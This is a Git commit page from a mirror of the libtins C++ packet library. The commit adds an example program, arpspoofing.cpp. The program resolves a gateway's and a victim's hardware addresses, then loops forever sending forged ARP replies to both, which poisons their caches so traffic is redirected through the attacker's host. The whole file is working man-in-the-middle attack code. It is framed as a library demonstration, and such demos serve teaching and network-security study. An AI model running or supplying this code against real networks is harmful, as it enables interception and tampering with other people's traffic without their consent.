3rd-party/libtins
1
0
Fork 0
mirror of https://github.com/mfontanini/libtins synced 2026-01-23 02:35:57 +01:00
Code Issues Releases Wiki Activity

Added arp spoofing example.

Browse Source
This commit is contained in:
Matias Fontanini
2011-08-18 12:29:15 -03:00
parent c4bb187505
commit 23978343da
1 changed files with 79 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

79
examples/arpspoofing.cpp Normal file
View File

@@ -0,0 +1,79 @@
#include <iostream>
#include <string>
#include <stdint.h>
#include <cstdlib>
#include "arp.h"
#include "utils.h"
#include "ethernetII.h"
using namespace std;
using namespace Tins;
int do_arp_spoofing(uint32_t iface, const string &iface_name, uint32_t gw, uint32_t victim, uint32_t own_ip, uint8_t *own_hw) {
PacketSender sender;
uint8_t gw_hw[6], victim_hw[6];
if(!Utils::resolve_hwaddr(iface_name, gw, gw_hw, &sender)) {
cout << "Could not resolve gateway's ip address.\n";
return 5;
}
if(!Utils::resolve_hwaddr(iface_name, victim, victim_hw, &sender)) {
cout << "Could not resolve victim's ip address.\n";
return 6;
}
cout << "Using gateway hw address: " << Utils::hwaddr_to_string(gw_hw) << "\n";
cout << "Using victim hw address: " << Utils::hwaddr_to_string(victim_hw) << "\n";
cout << "Using own hw address: " << Utils::hwaddr_to_string(own_hw) << "\n";
ARP *gw_arp = new ARP(), *victim_arp = new ARP();
gw_arp->sender_hw_addr(own_hw);
gw_arp->target_hw_addr(gw_hw);
gw_arp->sender_ip_addr(victim);
gw_arp->target_ip_addr(gw);
gw_arp->opcode(ARP::REPLY);
victim_arp->sender_hw_addr(own_hw);
victim_arp->target_hw_addr(victim_hw);
victim_arp->sender_ip_addr(gw);
victim_arp->target_ip_addr(victim);
victim_arp->opcode(ARP::REPLY);
EthernetII to_gw(iface, gw_hw, own_hw, gw_arp);
EthernetII to_victim(iface, victim_hw, own_hw, victim_arp);
while(true) {
sender.send(&to_gw);
sender.send(&to_victim);
sleep(5);
}
}
int main(int argc, char *argv[]) {
if(argc < 3 && cout << "Usage: <Gateway> <Victim> [Interface=eth0]\n")
return 1;
uint32_t gw, victim, own_ip;
uint8_t own_hw[6];
string iface("eth0");
try {
gw = Utils::ip_to_int(argv[1]);
victim = Utils::ip_to_int(argv[2]);
}
catch(...) {
cout << "Invalid ip found...\n";
return 2;
}
if(argc == 4)
iface = argv[3];
uint32_t iface_index;
if(!Utils::interface_id(iface, iface_index) && cout << "Interface " << iface << " does not exist!\n")
return 3;
if(!Utils::interface_hwaddr(iface, own_hw) || !Utils::interface_ip(iface, own_ip)) {
cout << "Error fetching addresses from " << iface << "\n";
return 4;
}
return do_arp_spoofing(iface_index, iface, gw, victim, own_ip, own_hw);
}